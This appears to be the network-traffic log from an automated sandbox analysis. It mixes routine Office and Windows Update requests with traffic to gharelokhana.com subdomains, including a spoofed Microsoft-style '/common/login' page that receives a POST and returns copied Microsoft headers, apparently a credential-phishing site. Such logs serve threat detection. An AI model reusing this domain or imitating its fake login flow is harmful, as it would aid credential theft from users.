Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NKm6+LZGGaTg9R9&MD=9raX5TOl HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fdgfhvcfdgfhhjh.gharelokhana.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="Sec-WebSocket-Key: xtfaIOULYczHg6sxxLsekg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fdgfhvcfdgfhhjh.gharelokhana.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="Sec-WebSocket-Key: kKPQSjsvybkM9yKoFUD30w==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /common/login HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: fdgfhvcfdgfhhjh.gharelokhana.com
Source: global traffic	DNS traffic detected: DNS query: 5ba3c75c-4ac65d39.gharelokhana.com
Source: global traffic	DNS traffic detected: DNS query: 7eb5b5ab-4ac65d39.gharelokhana.com

Source: unknown

HTTP traffic detected: POST /common/login HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: keep-aliveContent-Length: 4566Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 04 Dec 2024 15:15:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: e07bc4bb-dbd8-4221-baf5-704a04b80e00x-ms-ests-server: 2.1.19492.3 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 04 Dec 2024 15:15:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: dc2c4cba-72b1-455a-a3de-ba7705552f01x-ms-ests-server: 2.1.19492.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 04 Dec 2024 15:15:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 76bba89f-6e43-49bc-aed2-bb16df8f3400x-ms-ests-server: 2.1.19492.3 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 04 Dec 2024 15:15:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: fc0ea076-88ef-43ed-9b69-1235dfad1001x-ms-ests-server: 2.1.19492.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 04 Dec 2024 15:16:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 3511f272-6104-4a11-97e0-67b97a39fc00x-ms-ests-server: 2.1.19492.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 04 Dec 2024 15:16:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: a3c37132-ae88-4f77-ad70-d0d165333b00x-ms-ests-server: 2.1.19492.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
